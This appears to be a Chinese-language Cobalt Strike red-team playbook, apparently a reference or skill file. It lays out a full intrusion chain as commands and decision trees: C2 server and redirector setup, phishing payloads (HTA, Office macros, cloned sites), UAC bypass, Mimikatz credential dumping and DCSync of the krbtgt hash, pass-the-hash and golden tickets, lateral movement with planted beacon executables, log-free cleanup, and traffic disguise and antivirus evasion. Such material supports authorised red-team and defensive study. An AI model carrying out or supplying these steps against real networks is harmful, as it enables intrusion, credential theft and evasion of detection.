netvar1337 Cobalt Strike 操作方法论
Cobalt Strike（CS）是商业化红队 C2 框架，采用 C/S 架构实现多人协作渗透。核心优势：团队协作（多客户端/多 TeamServer）+ Beacon 隐蔽通信（HTTP/HTTPS/DNS/SMB）+ 完整后渗透链（提权→凭据→横向→持久化）+ Aggressor 脚本扩展。
深入参考
- Beacon 命令详解与后渗透技术 → references/beacon-operations.md
- DNS/SMB/SSH Beacon 与 Arsenal Kit 选择 → references/beacon-types-and-kits.md
- Aggressor 脚本开发指南 → references/aggressor-scripting.md
Phase 1: TeamServer 部署与 Listener 配置
TeamServer 启动
# 基础启动（Linux only）
./teamserver <公网IP> <密码>
# 指定 Malleable C2 配置文件（推荐）
./teamserver <公网IP> <密码> <profile文件路径>
部署决策：
- 生产环境必须指定 Malleable C2 Profile，默认流量特征已被各大安全产品标记
- 建议使用 c2lint 工具验证 Profile 有效性：
./c2lint <profile>
客户端连接
# Linux
./start.sh
# Windows
start.bat
连接需要：TeamServer IP + 端口（默认 50050）+ 密码。首次连接需确认服务器指纹哈希。
分布式架构决策
推荐三层服务器模型：
├── 临时服务器 (Staging) → 初始投递、获取立足点（高暴露风险）
├── 持久服务器 (Long Haul) → 低频通信保持长期访问
└── 后渗透服务器 (Post-Ex) → 交互式操作、横向移动
判断标准： 单目标可用单 TeamServer；多目标/长期行动必须分层，确保单点失败不影响全局。
Listener 类型选择决策树
需要创建 Listener？
├── 出网环境
│ ├── HTTP/HTTPS 受限但 DNS 可用 → DNS Beacon（低频保活/备用通道）
│ ├── 常规场景 → HTTPS Beacon（推荐，加密传输）
│ └── 简单测试 → HTTP Beacon
├── 内网横向 / 不出网
│ ├── Windows 环境 → SMB Beacon（命名管道，依赖 SMB 可达和权限）
│ ├── Linux/macOS 或已有 SSH 凭据 → SSH Beacon
│ └── 需指定端口 → TCP Beacon（正向绑定）
└── 联动 MSF → Foreign Listener（HTTP/HTTPS）
Listener 命名规范： OS/Payload/Stager，例如 windows/beacon_https/reverse_https
重定向器配置
用途：保护 TeamServer 真实 IP + 提高可靠性（多重定向器并行）
# 在重定向器主机上使用 socat 转发
socat TCP4-LISTEN:80,fork TCP4:<TeamServer_IP>:80
socat TCP4-LISTEN:443,fork TCP4:<TeamServer_IP>:443
将重定向器 IP 添加到 Listener 的 HTTP Hosts 中，靶机流量只与重定向器交互。
Phase 2: Payload 生成与投递
Staged vs Stageless 选择
Payload 类型选择：
├── Staged（分阶段）→ 体积小（~17KB），适合有大小限制的场景
│ └── Stager 先执行 → 回连下载 Stage → 内存加载执行
├── Stageless（无阶段）→ 体积大（~300KB），全功能自包含
│ └── 更稳定，适合确定性投递（如钓鱼邮件附件）
└── 安全特性：Stage 使用团队服务器公钥加密元数据，Stager 无此保护
Payload 格式生成
| 路径 | 生成物 | 用途 |
|---|---|---|
| Packages → HTML Application | .hta 文件 | 钓鱼落地执行 |
| Packages → MS Office Macro | VBA 宏代码 | 嵌入 Office 文档 |
| Packages → Payload Generator | 多语言 Payload | 自定义免杀加载器 |
| Packages → Windows Executable | .exe / .dll | 直接执行或 DLL 注入 |
| Packages → Windows Executable (S) | Stageless .exe / .dll | 自包含完整 Payload |
投递方式决策
如何投递到目标？
├── 社工钓鱼
│ ├── 邮件附件 → Office 宏文档 / HTA 文件
│ ├── 邮件链接 → Scripted Web Delivery 生成一行命令
│ └── 克隆网站 → Clone Site + 嵌入攻击链接
├── Web 漏洞利用
│ ├── MSF 联动 → 设置 Foreign Listener，MSF 中配置对应 payload
│ │ └── set DisablePayloadHandler True; set PrependMigrate True
│ └── 脚本化交付 → Attacks → Web Drive-by → Scripted Web Delivery
└── 横向投递
└── upload + 远程服务/计划任务执行（见 Phase 4）
Phase 3: Beacon 管理
会话交互基础
# 进入 Beacon 控制台
右击会话 → interact
# 通信模式控制
sleep 60 50 # 异步：60 秒回连，50% 抖动（实际 30-60 秒随机）
sleep 0 # 交互模式：命令即时执行（OPSEC 风险高）
OPSEC 原则： 日常操作保持 sleep >=30s；仅在需要实时交互时临时 sleep 0，操作完毕立即恢复。
会话传递
# 派生新会话到其他 Listener
spawn <listener_name>
# 注入到指定进程
inject <pid> <x86|x64> <listener_name>
# 传递到 MSF
# 1. MSF 开启 handler (windows/meterpreter/reverse_https)
# 2. CS 创建 Foreign Listener 指向 MSF
# 3. spawn <foreign_listener>
Pivoting（内网穿透）
内网不出网主机如何上线？
├── SOCKS 代理（正向）
│ ├── beacon: socks <port>
│ ├── MSF: setg Proxies socks4:<CS_IP>:<port>
│ └── 工具: proxychains 配置后使用
├── 反向端口转发
│ ├── 右击会话 → Pivoting → Listener（在已上线主机上开 Listener）
│ └── 生成指向该 Listener 的 Payload，在不出网主机执行
└── SSH 隧道
├── ssh -D 1080 user@<pivot_host>
└── socat 转发特定端口流量
Phase 4: 后渗透操作决策树
信息收集
# 当前环境侦察
shell whoami /groups # 当前权限等级
shell net view /domain # 当前域
net view # 域内主机列表（Beacon net 模块，输出更丰富）
net dclist # 域控列表
提权决策树
当前权限不足？
├── 当前用户是本地管理员组（UAC 中级）
│ ├── elevate → uac-token-duplication（Win7/Win10 2018.11 前）
│ ├── runasadmin → 其他 UAC bypass exploit
│ └── 成功后用户名后出现 * 号标识
├── 当前用户是普通用户
│ ├── PowerUp 检查弱点
│ │ └── powershell-import PowerUp.ps1; powershell Invoke-AllChecks
│ ├── elevate → 选择可用的本地提权 exploit
│ └── 加载 ElevateKit 扩展更多 exploit
├── 本地管理员（高权限）→ 系统权限
│ └── getsystem（Named Pipe 提权到 SYSTEM）
└── 已有其他用户凭据
├── spawnas <domain\user> <password> <listener>
└── runas <domain\user> <password> <command>
凭据获取决策树
需要获取凭据？
├── 已是 SYSTEM / 本地管理员
│ ├── hashdump → 导出本地 SAM 哈希
│ ├── logonpasswords → Mimikatz 抓取明文密码
│ ├── mimikatz !lsadump::sam → 本地账户哈希
│ ├── mimikatz !lsadump::cache → 缓存凭证（默认缓存最近 10 个）
│ └── mimikatz !misc::memssp → 注入 SSP 记录后续登录明文
│ └── 结果保存在 C:\windows\system32\mimilsa.log
├── 域控制器上
│ ├── hashdump → 导出所有域用户哈希
│ ├── dcsync → 远程复制 AD 数据库
│ └── mimikatz lsadump::dcsync /user:krbtgt → 获取 KRBTGT 哈希
└── 查看已收集凭据
└── View → Credentials
Mimikatz 执行模式：
mimikatz <command>— 当前权限执行mimikatz !<command>— 强制提升到 SYSTEM 执行mimikatz @<command>— 使用当前 Beacon 令牌执行
横向移动决策树
如何移动到目标主机？
├── 前提：已获取目标主机的信任凭据
│ ├── 令牌窃取: ps → steal_token <pid>
│ ├── 凭据创建: make_token <domain\user> <password>
│ ├── 哈希传递: pth <domain\user> <ntlm_hash>
│ └── 黄金票据: Access → Golden Ticket（需 KRBTGT 哈希 + 域 SID）
│
├── 自动化横向（推荐，无文件落地）
│ ├── psexec <target> <listener> → 服务执行（落地 EXE）
│ ├── psexec_psh <target> <listener> → 服务执行 PowerShell
│ ├── winrm <target> <listener> → WinRM 执行 PowerShell
│ └── wmi <target> <listener> → WMI 执行 PowerShell
│ └── 图形化: View → Targets → 右击 → Jump
│
├── 手动横向
│ ├── 方法一：Windows 服务
│ │ ├── upload beacon.exe
│ │ ├── shell copy beacon.exe \\target\C$\Windows\Temp
│ │ ├── shell sc \\target create svc binpath= C:\Windows\Temp\beacon.exe
│ │ ├── shell sc \\target start svc
│ │ └── link <target>（SMB Beacon）
│ └── 方法二：计划任务
│ ├── shell net time \\target（确认时间）
│ ├── shell at \\target HH:mm C:\path\beacon.exe
│ └── link <target>（SMB Beacon）
│
└── 清理痕迹
├── shell sc \\target delete svc
├── shell del \\target\C$\Windows\Temp\beacon.exe
└── shell del beacon.exe
域内枚举关键命令
# 域管理员发现
shell net group "domain admins" /domain
shell net group "enterprise admins" /domain
shell net localgroup "administrators" /domain
# PowerView 高级枚举（避免 net 命令被检测）
powershell-import PowerView.ps1
powershell Find-LocalAdminAccess # 发现当前用户的本地管理员访问权限
powershell Get-NetDomain # 域信息
powershell Invoke-ShareFinder # 共享发现
powershell Get-NetLocalGroup -Hostname <target> # 目标本地管理员
Phase 5: OPSEC 与隐蔽性
Malleable C2 Profile
作用： 自定义 Beacon 通信流量特征，伪装成正常业务流量。
# Profile 基本结构
set sleeptime "60000"; # 回连间隔（毫秒）
set jitter "50"; # 抖动百分比
set useragent "Mozilla/5.0 ...";
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server { ... }
}
http-post {
set uri "/api/v1/submit";
client { ... }
server { ... }
}
关键配置项：
sleeptime+jitter— 控制通信频率和随机性spawnto— 指定 spawn/inject 使用的进程（避免 rundll32.exe）set host_stage "false"— 禁用 staging（防止 Stager 被扫描发现）
进程注入 OPSEC
# 使用 spawnto 避免默认 rundll32.exe
spawnto x64 %windir%\sysnative\svchost.exe -k netsvcs
spawnto x86 %windir%\syswow64\svchost.exe -k netsvcs
# PPID 欺骗 — 使新进程看起来是由合法父进程创建
ppid <合法进程PID>
Arsenal Kit 与免杀策略
选择适配方案：
├── Artifact Kit → 自定义 EXE/DLL 生成模板
│ └── 生成物落地即被静态查杀时使用
├── Resource Kit → 修改 HTA/PowerShell/VBA/VBS 等脚本模板
│ └── 默认投递模板特征明显时使用
├── Sleep Mask / Mutator / Thread Stack Spoofer
│ └── 内存扫描或线程栈检测压力高时使用
├── 自定义加载器 → Payload Generator 输出 raw shellcode
│ └── 用 C/Go/Rust 编写自定义加载器
└── 注意：Kit 只能降低特定检测面，不能替代流量、进程链和权限 OPSEC
详细选择边界见 references/beacon-types-and-kits.md。
速查：最常用 Beacon 命令
| 命令 | 说明 |
|---|---|
sleep <秒> [抖动%] |
设置回连间隔和抖动 |
shell <命令> |
通过 cmd.exe 执行命令 |
powershell <命令> |
通过 powershell.exe 执行 |
powerpick <命令> |
不使用 powershell.exe 执行 PS 命令 |
execute-assembly <path> |
内存加载 .NET 程序集 |
upload / download |
文件上传 / 下载 |
hashdump |
导出 SAM 哈希 |
logonpasswords |
Mimikatz 抓取密码 |
steal_token <pid> |
窃取进程令牌 |
make_token <domain\user> <pass> |
创建令牌 |
pth <domain\user> <hash> |
Pass-the-Hash |
rev2self |
恢复原始令牌 |
spawn <listener> |
派生新会话 |
inject <pid> <arch> <listener> |
注入进程 |
socks <port> |
开启 SOCKS 代理 |
link / unlink <target> |
连接 / 断开 SMB/TCP Beacon |
ps |
列出进程 |
jobs / jobkill <id> |
管理后台任务 |
screenshot / keylogger |
截屏 / 键盘记录 |
getsystem |
提权到 SYSTEM |
elevate <exploit> <listener> |
使用 exploit 提权 |
portscan <targets> <ports> <method> |
端口扫描（arp/icmp/none） |
clear |
清除命令队列 |